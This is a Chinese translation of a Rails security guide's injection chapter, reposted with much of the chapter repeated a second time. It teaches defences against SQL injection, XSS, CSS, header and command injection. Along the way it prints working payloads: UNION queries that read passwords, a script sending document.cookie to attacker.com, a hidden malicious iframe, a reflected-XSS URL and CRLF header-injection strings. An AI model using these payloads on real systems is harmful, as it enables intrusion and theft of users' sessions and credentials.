Rails安全导读【完】
生活随笔
收集整理的這篇文章主要介紹了
Rails安全导读【完】
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
本文的譯言鏈接是:?[url]http://www.yeeyan.com/articles/view/blackanger/18007[/url]
8.注入
— 注入這類***是給一個web應用引入惡意的代碼或是參數,以便在其安全的上下文里運行。注入的著名的例子就是跨站點腳本(XSS)和SQL注入。
注入是非常棘手的,因為相同的代碼或參數在一個環境是惡意的,但是換個環境卻是完全無害的。一個上下文可以是一個腳本,查詢或是程序語言,shell或是Ruby/Rails方法。 下面的章節會涵蓋所有重要的注入***可能發生的所有上下文。然而第一部分只涉及一個與注入相關的架構決策。8.1. 白名單 vs 黑名單
— 當凈化(sanitizing),保護(protecting)或者驗證(verifying)一些東西的時候,白名單勝于黑名單。
黑名單可以是一堆惡意的e-mail地址清單,非公開的actions或者是惡意的HTML tags。 這正好和白名單相反,白名單是安全的e-mail地址,公開的actions,合法的HTML tags等等。雖然有時候不可能去創建一個白名單(比如在一個垃圾過濾器里),但也更應該偏向于去使用白名單的方式::
*
使用 before_filter :only ? […] 代替 :except ? […]. ?這個方法使你避免忘記去屏蔽新增的actions帶來的困擾。*
使用 attr_accessible 代替 attr_protected. 請看mass-assignment這節的內容(白名單)*
允許<strong>而不是取消<script>來應付Cross-Site Scripting (XSS)。看下文的細節。*
不要使用黑名單的方式驗證用戶的輸入:o
這是段可用的***代碼: "<sc<script>ript>".gsub("<script>", "")o
但要拒絕惡意的輸入
白名單是一個好方法,可以避免在黑名單里因為人為因素而忘記一些東西的情況。8.2. SQL注入
— 要感謝那些聰明的方法,使得在大多數的Rails應用中SQL注入成為了一個困難的問題。然而這是一個在web應用里非常嚴重和常見的***,所以理解它是重要的。8.2.1. 引入
SQL注入***的目的是通過操作web應用的參數來影響數據庫查詢。一種常見目標的SQL注入***是繞開授權。另一種目標是執行數據操縱或者是讀取任意數據。這有個例子來說明在查詢里不使用用戶輸入的數據 :
Project.find(:all, :conditions => "name = '#{params[:name]}'")
這段代碼可能放在search action里,用戶可以輸入一個項目的名字來查找他想找的那個項目。 如果一個惡意用戶輸入了OR 1=1, 查詢結果就會變成:
SELECT * FROM projects WHERE name = '' OR 1 --'
這兩破折號開始一個注釋忽略它后面的一切玩意兒。 所以查詢返回projects表的全部記錄,包括對用戶屏蔽的內容。 這是因為查詢條件為真。8.2.2. 繞過授權
一般一個web應用是包括訪問控制的。用戶輸入他的登陸憑證,web應用試圖在users表里去找到與其相匹配的結果。如果它找到一條記錄,那么應用就授其訪問權限。然而,一個***者可能通過SQL注入的手段繞開這個檢查。下面是一個典型的Rails數據庫查詢,當那些登陸憑證和用戶輸入的一致時,就會在users表里找到對應的第一條記錄。
User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'")
如果一個***者輸入 OR '1=1 作為用戶名, ?OR 2>'1 作為密碼, 那么查詢結果就會變成:
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
這會很簡單就找到了數據庫的第一條記錄,并且給了這個用戶訪問權限。8.2.3. Unauthorized reading
UNION連接的兩個SQL查詢,會返回一組數據集。一個***者可以用它來讀取數據庫里的任意數據,讓我們拿上面的例子來看 :
Project.find(:all, :conditions => "name = '#{params[:name]}'")
現在讓我們使用UNION來注入另一個查詢:
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
它最后是這樣的SQL查詢結果:
SELECT * FROM projects WHERE (name = '') UNIONSELECT id,login AS name,password AS description,1,1,1 FROM users --')
這個結果不會是項目的列表(因為給的name是空的),而是返回用戶名和他們密碼的列表。所以希望你在數據庫里對密碼加密!對***者來說,唯一的問題是這兩則查詢語句的列數必須相同。這就是為什么第二個查詢包含了一組(1),它們的值一直為1,是為了匹配第一組查詢的列數。(譯者注:projects表為6列,那么后面的也是6列,所以要加三個1)
此外,第二個查詢語句用as重新命名了一些列的名字是為了使web應用顯示這些user表里的值。一定要更新你的Rails到最新的2.1.1。8.2.4.對策
Ruby on Rails有一個專門過濾SQL字符的內置過濾器, 它會過濾 ' ?, ?Null字符和破折號。使用 Model.find(id) 或 Model.find_by_some_thing(something)會自動的應用這個對策[,#fffcdb]. 但是在SQL片段,尤其在條件片段(:conditions ? "…"), connection.execute() 或 Model.find_by_sql() 方法里, 必須通過手工操作。
不要給條件參數里傳一個字符串,你可以像這樣傳一個數組來凈化威脅:
Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password])
如你所見, 這個數組的第一部分是以問號標記的sql片段,第二部分中的變量來取代問號。或者你可以傳一個hash也是一樣的效果:
Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password})
數組和hash只適用于model實例.在其他地方你可以嘗試sanitize_sql(). 當在SQL里適用以個外部字符串時候,要習慣性的思考其安全方面的后果。8.3. 跨站腳本 (XSS)
— web應用最廣泛的最嚴重的安全漏洞就是XSS. 它是注入客戶端可執行代碼的惡意***。Rails提供了很多helper方法來抵御這類***.8.3.1.切入點
一個切入點是指***者可以開始***的有缺陷的URL及其參數。
最常見的切入點是消息貼,用戶評論和留言本,但是項目的名稱,文件名稱和搜索結果頁也是脆弱的 - 只要是用戶可以輸入數據的任何地方。但是輸入并不一定必須來自網站的輸入框,它可以是任何的URL參數 - ?可見的,隱藏的或內部的。 請記住,用戶可以截斷任何通信,像使用 Live HTTP Headers Firefox plugin或client-site proxies 可以很容易的改變請求。
XSS ***原理是這樣的: 一個***者注入了一段代碼,web應用保存并把它顯示在了頁面上,之后就呈現給了受害者。最簡單的XSS例子是顯示一個警告框,但是它的能力不僅僅是這樣的。XSS可以竊取cookie,劫持session;讓受害者重定向到一個虛假網站,顯示有利于***者的廣告,改變站點內如以獲取機密信息或通過瀏覽器的安全漏洞安裝惡意軟件。
在2007年的下半年,mozilla瀏覽器有88個漏洞報告,Safari有22個,IE有18個,Opera有12個。 賽門鐵克全球網絡安全威脅報告也記載了239個瀏覽器插件的漏洞。Mpack 是一個非常積極的利用這些漏洞的最新***框架。web應用框架的SQL注射漏洞和在每一個文本表列里插入惡意代碼對罪惡的***是很有吸引力的。 在2008年4月,有超過510,000家網站就這樣被黑的,其中包括英國政府,聯合國和很多更高級的目標。
一個比較新的,不普遍的切入點方式是廣告banner。在2008年較早的時候, 惡意代碼就出現在很多知名站點的banner廣告上,像MySpace, Excite, 參考Trend Micro.8.3.2. HTML/JavaScript 注入
最常見的XSS語言當然是最流行的客戶端腳本語言JavaScript了,往往和HTML相結合。對用戶輸入的信息轉義處理是必須的。
這里是檢測XSS的最直觀的測試:
<script>alert('Hello');</script>
這段javascript代碼會顯示一個簡單的警告框。下面這個例子不完全相同,僅用在非常罕見的地方:
<img src=javascript:alert('Hello')><table background="javascript:alert('Hello')">
Cookie盜竊
到目前為止的例子都沒有任何危害,所以讓我們來看看一個***者如何竊取用戶的cookie(從而劫持用戶session)。在JavaScript 里你可以用document.cookie來讀寫document的cookie. JavaScript遵循同源策略(譯者注:大多數可用于異步檢索內容的技術都繼承了 JavaScript 安全模型的安全性,它使腳本只與源于該腳本所屬頁面所在的同一服務器的元素進行交互。這就是所有瀏覽器都實現了的同源策略),這就意味著一個腳本不能從一個域訪問另一個域的cookie。document.cookie 屬性仍然持有原始web服務器的cookie,然而,如果你直接在其HTML文檔里嵌入了代碼(XSS式)你就能讀寫這個屬性。在你的應用注入這段代碼來看你自己的cookie :
<script>document.write(document.cookie);</script>
當然這對于***者是無用的,因為是受害者看他自己的cookie。下個例子會試圖從 [url]http://www.attacker.com/[/url] 加載一個圖片以及cookie。當然這個URL不存在,所以瀏覽器也不會顯示任何東西。但是***者可以在他自己的web服務器的日志文件里看到受害者的cookie。
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
在[url]www.attacker.com[/url]上的日志文件會是這樣 :
GET [url]http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2[/url]
你可以通過往cookies里加一個httpOnly 標記來減輕這類***,以便document.cookie無法被JavaScript讀取。HTTP Only cookies可用于IE v6.SP1, Firefox v2.0.0.5 和 Opera 9.5. Safari仍然在猶豫,它忽略了這個參數。但另一方面舊版本的瀏覽器 (像基于Mac的WebTV 和 IE 5.5 ) ?實際會導致頁面加載失敗。Be warned that cookies will still be visible using Ajax, though.感染
被***者感染的網頁可以做很多事情, 例如, 呈現虛假信息或者引誘受害者到***者的網站,竊取其cookie,登陸憑證或者其他敏感數據。最流行的方法是通過iframes包含一個外部來源的代碼:
<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
它從外部源加載任意的HTML或且JavaScript,并嵌入到這個站點成為了此站點的一部分。這個IFrame來自于使用Mpack attack framework對一意大利合法網站的一次實際***。Mpack試圖通過瀏覽器的安全漏洞去安裝惡意軟件 - 非常成功,50%的成功率。
一個更加專業的***可能會偽造整個網站或是看起來和原始站點一模一樣的登陸表單,但是會把用戶名和密碼傳送到***者的站點。或者它可以用CSS或且JavaScript在web應用里去隱藏一個合法的連接,卻顯示另一個通往冒牌網站的連接。
反射注入***不是存儲在給受害人呈現的頁面上,而是包含在URL里的。 尤其是搜索表單過濾失敗那些搜索字符之后。下面這個鏈接呈現了一個內容為“喬治布什任命一個9歲的男孩當主席”的網頁。
[url]http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--[/url]><script src=http://www.securitylab.ru/test/sc.js></script><!--
對策
過濾惡意的輸入是非常重要的,但是轉義web應用的輸出(回顯)也是重要的。尤其對于XSS,白名單的輸入過濾比黑名單好。白名單過濾的是被允許的值,而不是那些不被允許的。黑名單是總會有遺漏的。
想象一個黑名單從用戶的輸入里刪除了“script”。現在***者注入了 “<scrscriptipt>”, 過濾之后還是 “<script>” . 早期版本的Rails為strip_tags(),strip_links(),strip_links()和sanitize()方法使用了黑名單方式。所以使這種注入方式成為可能:
strip_tags("some<<b>script>alert('hello')<</b>/script>")
這段代碼返回的是可以使***執行的結果 "some<script>alert(hello)</script>". 這就是為什么我推薦用白名單的方式, 我們可以使用Rails 2里更新的sanitize()方法:
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
這段代碼只允許那些特定的標記可以好好工作,但是對那些花樣的錯誤的標記則拒絕。
第二種方式是為轉義那些應用的輸出提供了一個好的實踐, 尤其是當回顯沒有被過濾的用戶的輸入(比如前面的搜索表單)。 使用 escapeHTML() (或是它的別名 h()) 方法會把HTML字符 &,",<,>替換為 (&, ", < 和 >). 然而,很容易在程序里忘記使用它,所以推薦使用這個 SafeErb 插件. SafeErb 會提醒你轉義那些外部***的字符串。混淆及字符編碼注入
網絡通信大多是基于西方字母的, 所以有新的字符編碼,像Unicode, emerged來傳送其他語言 。但是,這也是web應用的一個威脅,因為惡意代碼會隱藏在不同編碼里,web瀏覽器可能無法處理,但是web應用并非如此。這里是一個UTF-8感染***:
<IMG SRC=javascript:alert('XSS')>
這個例子彈出一個消息框。它會被上述的sanitize()過濾。有一個偉大的工具去混淆和編碼字符串,因此‘了解你的敵人’,它是Hackvertor。 Rails的sanitize() 方法可以有效阻止這類***。8.3.3. 一些來自于”地下黨“的例子
— 為了理解當今對于web應用的***,最好是來看看真實世界的***。
下面的摘要是來自于 Js.Yamanner@m Yahoo! Mail 蠕蟲. 它出現在2006年6月11號,它是第一個webmail接口蠕蟲 :
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'target="" http_request = false; ? ?var Email = '';var IDList = ''; ? var CRumb = ''; ? function makeRequest(url, Func, Method,Param) { ...
該蠕蟲利用Yahoo的HTML/Javascript過濾器的一個漏洞,該過濾器通常過濾target標簽和 javascript)。這個過濾器只應用一次,所以蠕蟲病毒代碼就留在了原來的地方。這是個好的例子來說明為什么黑名單過濾器永遠會有遺漏和為什么在 web應用里允許HTML/JavaScript是困難的。
另一種概念驗證的webmail蠕蟲是Nduja, 一個跨了4個意大利webmail服務器的跨域蠕蟲。可以在Rosario Valotta's website找到更多的細節和視頻。 這兩個webmail蠕蟲的目標都是為了收錄電子郵件地址,一些罪惡的***可以憑此賺錢。
2006年12月,在MySpace 釣魚***里有34,000真實用戶名和密碼被盜。這次***的手法是創建了一個叫”login_home_index_html“的profile頁面,所以這個URL看起來讓人毫不懷疑。特制的HTML和CSS用來隱藏MySpace真正的內容,顯示的是***者的登陸表單。
MySpace Samy蠕蟲會在CSS注入這節來討論。8.4. CSS注入
— CSS注入實際上是JavaScript注入, 因為一些瀏覽器(IE, 某些版本的Safari等) 允許在CSS里執行JavaScript. 如果在你的web應用允許自定義的CSS,請三思而后行。
通過 MySpace Samy 這個眾所周知的蠕蟲我們可以更好的解釋CSS注入。只要有人訪問Samy(***者)的個人資料,這個蠕蟲就會自動的給別人發送一個朋友請求。幾小時之內他曾超過100萬個朋友請求,但它給MySpace創造了太多的通信以致于網站下線。下面是對該蠕蟲的技術性解釋。
MySpace屏蔽了很多tag,但是它允許css,所以該蠕蟲作者就在css里這么做:
<div style="background:url('javascript:alert(1)')">
所以這個style屬性就在是有效的加載了。但是這里不允許引號,因為單引號和雙引號已經被用了。但是JavaScript有可以執行任意代碼的eval()方法。
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
eval() 函數是黑名單輸入過濾器的噩夢,因為它允許它允許style屬性去隱藏 “innerHTML”這個單詞:
alert(eval('document.body.inne' + 'rHTML'));
下一個問題是MySpace過濾了 “javascript”, 所以蠕蟲作者用“java<NEWLINE>script"就得到下面這樣的:
<div id="mycode" expr="alert('hah!')" style="background:url('java??script:eval(document.all.mycode.expr)')">
另一個對于蠕蟲作者的問題是CSRF安全令牌,如果沒有的話,他不能通過POST發送以個朋友請求。他在增加好友解析結果之前通過發送一個GET訪問一個正確的頁面來繞開CSRF令牌。
最后他得到了一個4kb的蠕蟲,并把它注入到了他自己的個人資料頁面。
moz-binding 提供另一種基于Gecko瀏覽器(例如Firefox)在CSS里引入JavaScript的方法。8.4.1. 對策
這個例子再次說明了黑名單永遠會有遺漏。然而,自定義的CSS在網絡應用是一種相當罕見的功能,我不知道白名單的CSS過濾器。如果你想允許自定義的顏色或圖像, 可以讓用戶選擇web應用提供的模板。如果你真的需要這樣一個功能,請使用Rails的sanitize()方法作為一種css白名單過濾模式。8.5. Textile 注入
— 如果你想提供HTML之外的其他文本格式(為了安全),請使用在服務端轉化為HTML的標記語言。RedCloth就是為Ruby提供這種功能的語言。但是沒有防范措施的話,就會是一個XSS缺陷。
例如,RedCloth翻譯_test_ 為<em>test<em>, 使文本變成斜體。然而直到當前的3.0.4版本,仍然存在XSS缺陷。可以去下載最新的已移除這個嚴重bug的版本。然而,即使是這個版本,也有嚴重的bug 。所以對策依然適用。?這兒是版本 3.0.4的例子:
>> RedCloth.new('<script>alert(1)</script>').to_html=> "<script>alert(1)</script>"
使用:filter_html選項來移除那些不被Textile原生的HTML:
>> RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html=> "alert(1)"
然而它也不是過濾所有的HTML, 通過一些設計,一些標記還是會被留下,例如 <a>:
>> RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html=> "<p><a href="javascript:alert(1)">hello</a></p>"
8.5.1. 對策
推薦使用RedCloth結合白名單輸入過濾器的功能。8.6. Ajax 注入
— 在Ajax actions里,并不會出現類似的安全問題. 這至少是個例外。然而,如果你的這個action沒有渲染一個頁面,那么必須在controller里轉義這些輸出。
如果你用 in_place_editor plugin, or 或者是返回一個字符串的actions, 而不是渲染一個頁面,你就必須轉義那些action里返回來的值。否則,如果返回來的值包含一個XSS腳本,惡意代碼會被執行后返回瀏覽器。使用h()方法轉義每一個輸入的值。8.7. RJS 注入
— 也不要忘記在JavaScript (RJS) 模板進行轉義。
這個RJS API是基于Ruby代碼來生成JavaScript塊的,因此允許你可以在服務端操作一個頁面或者頁面的一部分。如果你允許用戶在RJS模板里輸入,請用在javascript函數里使用escape_javascript(), 在HTML這部分使用h()。否則***者能執行任意的JavaScript代碼。8.8. 命令行注入
— 謹慎使用用戶提供的命令行參數。
如果你的應用必須在操作系統上執行命令,這樣幾個Ruby方法: exec(command), syscall(command), system(command) 和 `command`。如果用戶可以輸入整個命令或其一部分,你必須要特別小心用這些函數。這是因為大多數的shell,可以執行使用分號(;)和管道符(|)連接的兩個命令。
一個對策是使用system(command, parameters) 來安全的傳送命令行參數。
system("/bin/echo","hello; rm *")# 輸出的是 "hello; rm *" 但是不會刪除文件
8.9. Header 注入
— HTTP headers 是動態生成的,在某些情況下可能是被注入的用戶輸入。這會導致錯誤的重定向,XSS 或 HTTP 響應截斷***。
HTTP請求頭有一個Referer, User-Agent (客戶端軟件) 和 Cookie域等等。響應頭比如有一個狀態碼,cookie和Location (重定向目標 URL) 域。所有的這些都是用戶提供的,并或多或少可以被操作。記住去過濾這些header域。例如當你在管理員區域顯示user agent。
此外,還有一點很重要,就是當你構建一個基于用戶輸入響應頭部分的時候你應該知道自己在做什么。例如你想把用戶重定向到一個特別的頁面。為了做到這一點,你在一個form表單里引入了referer字段去重定向到指定的地址 :
redirect_to params[:referer]
Rails把這些字符串放到Location頭里,并且給瀏覽器發送一個302(重定向)狀態碼。那么惡意用戶首先會這樣做:
[url]http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld[/url]
Rails2.1.2以下版本都有這個bug (不包括此版本), 一個***可能注入任意的header域; 例如這樣的:
[url]http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi![/url][url]http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld[/url]
注意這個 "%0d%0a" 是"\r\n"的URL編碼。因此,第二個例子的HTTP header結果就是下面這樣,因為第二個Location覆蓋了第一個的。
HTTP/1.1 302 Moved Temporarily(...)Location: [url]http://www.malicious.tld[/url]
所以頭注入的***感染是基于在header域的CRLF字符注入。 ***者可以用一個假的重定向做些什么?他可以重定向到一個和你的應用一樣的釣魚網站,但是再次請求登陸(給***者發送登陸憑證)。或者他可以通過瀏覽器安全漏洞在這個站點上安裝惡意軟件。 Rails 2.1.2在redirect_to方法里為Location過濾了這些字符。當你拿用戶輸入構建另一個header域時,請務必要自己過濾它們。8.9.1. 響應頭截斷
如果頭注射是可能的,那么響應頭截斷也是可能的。在HTTP里,header塊后面是兩個CRLFs符合和實際的數據(通常是HTML)。響應頭截斷的手法是在header域里注入兩個CRLFs,再跟另一段含有惡意HTML的響應。 響應會變成:
HTTP/1.1 302 Found [First standard 302 response]Date: Tue, 12 Apr 2005 22:09:07 GMTLocation:?Content-Type: text/html
HTTP/1.1 200 OK [Second New response created by attacker begins]Content-Type: text/html
<html><font color=red>hey</font></html> [Arbitary malicious input isKeep-Alive: timeout=15, max=100 ? ? ? ? shown as the redirected page]Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html
在某些情況下,會給受害用戶呈現惡意的HTML。 然而,但是它似乎只在長鏈接下工作(大多數的瀏覽器只用一次性鏈接)。但你不能忽視它。在任何情況下,這都是一個嚴重的bug,你應該更新你的Rails版本到2.0.5或2.1.2來減輕頭注入的風險。9.其他資源
安全場景是變化的,重要的一點是要跟得上,因為錯過一個新的漏洞會是災難性的。你可以找到其他關于安全(Rails)的資源:
*
The Ruby on Rails security project posts security news regularly: [url]http://www.rorsecurity.info[/url]*
Subscribe to the Rails security mailing list*
Keep up to date on the other application layers (they have a weekly newsletter, too)*
A good security blog including the Cross-Site scripting Cheat Sheet*
Another good security blog with some Cheat Sheets, too
超強干貨來襲 云風專訪:近40年碼齡,通宵達旦的技術人生
8.注入
— 注入這類***是給一個web應用引入惡意的代碼或是參數,以便在其安全的上下文里運行。注入的著名的例子就是跨站點腳本(XSS)和SQL注入。
注入是非常棘手的,因為相同的代碼或參數在一個環境是惡意的,但是換個環境卻是完全無害的。一個上下文可以是一個腳本,查詢或是程序語言,shell或是Ruby/Rails方法。 下面的章節會涵蓋所有重要的注入***可能發生的所有上下文。然而第一部分只涉及一個與注入相關的架構決策。8.1. 白名單 vs 黑名單
— 當凈化(sanitizing),保護(protecting)或者驗證(verifying)一些東西的時候,白名單勝于黑名單。
黑名單可以是一堆惡意的e-mail地址清單,非公開的actions或者是惡意的HTML tags。 這正好和白名單相反,白名單是安全的e-mail地址,公開的actions,合法的HTML tags等等。雖然有時候不可能去創建一個白名單(比如在一個垃圾過濾器里),但也更應該偏向于去使用白名單的方式::
*
使用 before_filter :only ? […] 代替 :except ? […]. ?這個方法使你避免忘記去屏蔽新增的actions帶來的困擾。*
使用 attr_accessible 代替 attr_protected. 請看mass-assignment這節的內容(白名單)*
允許<strong>而不是取消<script>來應付Cross-Site Scripting (XSS)。看下文的細節。*
不要使用黑名單的方式驗證用戶的輸入:o
這是段可用的***代碼: "<sc<script>ript>".gsub("<script>", "")o
但要拒絕惡意的輸入
白名單是一個好方法,可以避免在黑名單里因為人為因素而忘記一些東西的情況。8.2. SQL注入
— 要感謝那些聰明的方法,使得在大多數的Rails應用中SQL注入成為了一個困難的問題。然而這是一個在web應用里非常嚴重和常見的***,所以理解它是重要的。8.2.1. 引入
SQL注入***的目的是通過操作web應用的參數來影響數據庫查詢。一種常見目標的SQL注入***是繞開授權。另一種目標是執行數據操縱或者是讀取任意數據。這有個例子來說明在查詢里不使用用戶輸入的數據 :
Project.find(:all, :conditions => "name = '#{params[:name]}'")
這段代碼可能放在search action里,用戶可以輸入一個項目的名字來查找他想找的那個項目。 如果一個惡意用戶輸入了OR 1=1, 查詢結果就會變成:
SELECT * FROM projects WHERE name = '' OR 1 --'
這兩破折號開始一個注釋忽略它后面的一切玩意兒。 所以查詢返回projects表的全部記錄,包括對用戶屏蔽的內容。 這是因為查詢條件為真。8.2.2. 繞過授權
一般一個web應用是包括訪問控制的。用戶輸入他的登陸憑證,web應用試圖在users表里去找到與其相匹配的結果。如果它找到一條記錄,那么應用就授其訪問權限。然而,一個***者可能通過SQL注入的手段繞開這個檢查。下面是一個典型的Rails數據庫查詢,當那些登陸憑證和用戶輸入的一致時,就會在users表里找到對應的第一條記錄。
User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'")
如果一個***者輸入 OR '1=1 作為用戶名, ?OR 2>'1 作為密碼, 那么查詢結果就會變成:
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
這會很簡單就找到了數據庫的第一條記錄,并且給了這個用戶訪問權限。8.2.3. Unauthorized reading
UNION連接的兩個SQL查詢,會返回一組數據集。一個***者可以用它來讀取數據庫里的任意數據,讓我們拿上面的例子來看 :
Project.find(:all, :conditions => "name = '#{params[:name]}'")
現在讓我們使用UNION來注入另一個查詢:
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
它最后是這樣的SQL查詢結果:
SELECT * FROM projects WHERE (name = '') UNIONSELECT id,login AS name,password AS description,1,1,1 FROM users --')
這個結果不會是項目的列表(因為給的name是空的),而是返回用戶名和他們密碼的列表。所以希望你在數據庫里對密碼加密!對***者來說,唯一的問題是這兩則查詢語句的列數必須相同。這就是為什么第二個查詢包含了一組(1),它們的值一直為1,是為了匹配第一組查詢的列數。(譯者注:projects表為6列,那么后面的也是6列,所以要加三個1)
此外,第二個查詢語句用as重新命名了一些列的名字是為了使web應用顯示這些user表里的值。一定要更新你的Rails到最新的2.1.1。8.2.4.對策
Ruby on Rails有一個專門過濾SQL字符的內置過濾器, 它會過濾 ' ?, ?Null字符和破折號。使用 Model.find(id) 或 Model.find_by_some_thing(something)會自動的應用這個對策[,#fffcdb]. 但是在SQL片段,尤其在條件片段(:conditions ? "…"), connection.execute() 或 Model.find_by_sql() 方法里, 必須通過手工操作。
不要給條件參數里傳一個字符串,你可以像這樣傳一個數組來凈化威脅:
Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password])
如你所見, 這個數組的第一部分是以問號標記的sql片段,第二部分中的變量來取代問號。或者你可以傳一個hash也是一樣的效果:
Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password})
數組和hash只適用于model實例.在其他地方你可以嘗試sanitize_sql(). 當在SQL里適用以個外部字符串時候,要習慣性的思考其安全方面的后果。8.3. 跨站腳本 (XSS)
— web應用最廣泛的最嚴重的安全漏洞就是XSS. 它是注入客戶端可執行代碼的惡意***。Rails提供了很多helper方法來抵御這類***.8.3.1.切入點
一個切入點是指***者可以開始***的有缺陷的URL及其參數。
最常見的切入點是消息貼,用戶評論和留言本,但是項目的名稱,文件名稱和搜索結果頁也是脆弱的 - 只要是用戶可以輸入數據的任何地方。但是輸入并不一定必須來自網站的輸入框,它可以是任何的URL參數 - ?可見的,隱藏的或內部的。 請記住,用戶可以截斷任何通信,像使用 Live HTTP Headers Firefox plugin或client-site proxies 可以很容易的改變請求。
XSS ***原理是這樣的: 一個***者注入了一段代碼,web應用保存并把它顯示在了頁面上,之后就呈現給了受害者。最簡單的XSS例子是顯示一個警告框,但是它的能力不僅僅是這樣的。XSS可以竊取cookie,劫持session;讓受害者重定向到一個虛假網站,顯示有利于***者的廣告,改變站點內如以獲取機密信息或通過瀏覽器的安全漏洞安裝惡意軟件。
在2007年的下半年,mozilla瀏覽器有88個漏洞報告,Safari有22個,IE有18個,Opera有12個。 賽門鐵克全球網絡安全威脅報告也記載了239個瀏覽器插件的漏洞。Mpack 是一個非常積極的利用這些漏洞的最新***框架。web應用框架的SQL注射漏洞和在每一個文本表列里插入惡意代碼對罪惡的***是很有吸引力的。 在2008年4月,有超過510,000家網站就這樣被黑的,其中包括英國政府,聯合國和很多更高級的目標。
一個比較新的,不普遍的切入點方式是廣告banner。在2008年較早的時候, 惡意代碼就出現在很多知名站點的banner廣告上,像MySpace, Excite, 參考Trend Micro.8.3.2. HTML/JavaScript 注入
最常見的XSS語言當然是最流行的客戶端腳本語言JavaScript了,往往和HTML相結合。對用戶輸入的信息轉義處理是必須的。
這里是檢測XSS的最直觀的測試:
<script>alert('Hello');</script>
這段javascript代碼會顯示一個簡單的警告框。下面這個例子不完全相同,僅用在非常罕見的地方:
<img src=javascript:alert('Hello')><table background="javascript:alert('Hello')">
Cookie盜竊
到目前為止的例子都沒有任何危害,所以讓我們來看看一個***者如何竊取用戶的cookie(從而劫持用戶session)。在JavaScript 里你可以用document.cookie來讀寫document的cookie. JavaScript遵循同源策略(譯者注:大多數可用于異步檢索內容的技術都繼承了 JavaScript 安全模型的安全性,它使腳本只與源于該腳本所屬頁面所在的同一服務器的元素進行交互。這就是所有瀏覽器都實現了的同源策略),這就意味著一個腳本不能從一個域訪問另一個域的cookie。document.cookie 屬性仍然持有原始web服務器的cookie,然而,如果你直接在其HTML文檔里嵌入了代碼(XSS式)你就能讀寫這個屬性。在你的應用注入這段代碼來看你自己的cookie :
<script>document.write(document.cookie);</script>
當然這對于***者是無用的,因為是受害者看他自己的cookie。下個例子會試圖從 [url]http://www.attacker.com/[/url] 加載一個圖片以及cookie。當然這個URL不存在,所以瀏覽器也不會顯示任何東西。但是***者可以在他自己的web服務器的日志文件里看到受害者的cookie。
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
在[url]www.attacker.com[/url]上的日志文件會是這樣 :
GET [url]http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2[/url]
你可以通過往cookies里加一個httpOnly 標記來減輕這類***,以便document.cookie無法被JavaScript讀取。HTTP Only cookies可用于IE v6.SP1, Firefox v2.0.0.5 和 Opera 9.5. Safari仍然在猶豫,它忽略了這個參數。但另一方面舊版本的瀏覽器 (像基于Mac的WebTV 和 IE 5.5 ) ?實際會導致頁面加載失敗。Be warned that cookies will still be visible using Ajax, though.感染
被***者感染的網頁可以做很多事情, 例如, 呈現虛假信息或者引誘受害者到***者的網站,竊取其cookie,登陸憑證或者其他敏感數據。最流行的方法是通過iframes包含一個外部來源的代碼:
<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
它從外部源加載任意的HTML或且JavaScript,并嵌入到這個站點成為了此站點的一部分。這個IFrame來自于使用Mpack attack framework對一意大利合法網站的一次實際***。Mpack試圖通過瀏覽器的安全漏洞去安裝惡意軟件 - 非常成功,50%的成功率。
一個更加專業的***可能會偽造整個網站或是看起來和原始站點一模一樣的登陸表單,但是會把用戶名和密碼傳送到***者的站點。或者它可以用CSS或且JavaScript在web應用里去隱藏一個合法的連接,卻顯示另一個通往冒牌網站的連接。
反射注入***不是存儲在給受害人呈現的頁面上,而是包含在URL里的。 尤其是搜索表單過濾失敗那些搜索字符之后。下面這個鏈接呈現了一個內容為“喬治布什任命一個9歲的男孩當主席”的網頁。
[url]http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--[/url]><script src=http://www.securitylab.ru/test/sc.js></script><!--
對策
過濾惡意的輸入是非常重要的,但是轉義web應用的輸出(回顯)也是重要的。尤其對于XSS,白名單的輸入過濾比黑名單好。白名單過濾的是被允許的值,而不是那些不被允許的。黑名單是總會有遺漏的。
想象一個黑名單從用戶的輸入里刪除了“script”。現在***者注入了 “<scrscriptipt>”, 過濾之后還是 “<script>” . 早期版本的Rails為strip_tags(),strip_links(),strip_links()和sanitize()方法使用了黑名單方式。所以使這種注入方式成為可能:
strip_tags("some<<b>script>alert('hello')<</b>/script>")
這段代碼返回的是可以使***執行的結果 "some<script>alert(hello)</script>". 這就是為什么我推薦用白名單的方式, 我們可以使用Rails 2里更新的sanitize()方法:
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
